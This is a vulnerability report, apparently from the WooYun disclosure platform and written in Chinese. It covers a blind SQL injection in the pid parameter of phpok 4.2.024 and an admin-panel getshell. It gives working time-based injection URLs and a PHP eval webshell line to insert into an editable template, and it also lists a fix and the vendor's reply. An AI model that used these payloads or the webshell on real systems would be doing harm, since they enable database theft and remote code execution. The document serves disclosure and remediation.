漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2014-081462
漏洞标题:phpok最新版(phpok4.2.024)一处盲注+后台getshell
相关厂商:phpok.com
漏洞作者: SLAckEr
提交时间:2014-10-31 12:34
修复时间:2015-01-29 12:34
公开时间:2015-01-29 12:34
漏洞类型:SQL注射漏洞
危害等级:高
自评Rank:15
漏洞状态:厂商已经确认
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2014-10-31: 细节已通知厂商并且等待厂商处理中
2014-10-31: 厂商已经确认,细节仅向厂商公开
2014-11-03: 细节向第三方安全合作伙伴开放
2014-12-25: 细节向核心白帽子及相关领域专家公开
2015-01-04: 细节向普通白帽子公开
2015-01-14: 细节向实习白帽子公开
2015-01-29: 细节向公众公开
简要描述:
RT
详细说明:
文件/framework/www/post_control.php 26-38行
id和pid传进来了,
phpok('_project',array("phpok"=>$id,'pid'=>$pid));
跟进phpok
/framework/phpok_call.php
就是调用一个函数
那看
跟_project这个函数
/framework/model/data.php 1118-1139
id没有过滤,直接带入了sql。
http://127.0.0.1/phpok4.2.024/index.php?c=post&id=1&pid=41
这个pid是项目的id值,默认是41以上,包括41,也可以爬一下。
http://127.0.0.1/phpok4.2.024/index.php?c=post&id=1&pid=41 and sleep(5)
浏览器转5秒
http://127.0.0.1/phpok4.2.024/index.php?c=post&id=1&pid=41 and 1=if((ord(substr(database(),1,1))=112),sleep(5),1)
这个语句应该晓得吧,database的第一个字符的asicc码为112则浏览器转5秒,反之直接返回页面。
然后扩展一下,_project这个函数有问题,我们可以全局搜索一下,还有哪里调用了_project然后再继续发掘漏洞
就不继续测试了,这里的修补方式就是对_project这个函数做过滤。
想搞出管理员的账号密码burp跑一下就可以了
后台getshell
风格管理
可以编辑这个php文件
插入?><?php phpinfo();?><? 或?><?php eval($_POST[cmd])?><?
漏洞证明:
见上面
修复方案:
过滤好所有被调用的函数,intval,
版权声明:转载请注明来源 SLAckEr@乌云
漏洞回应
厂商回应:
危害等级:高
漏洞Rank:15
确认时间:2014-10-31 14:26
厂商回复:
感谢提供bug,我们将会在11月底发布更新,看来针对模板里加载php文件还得好好考虑啊!
最新状态:
暂无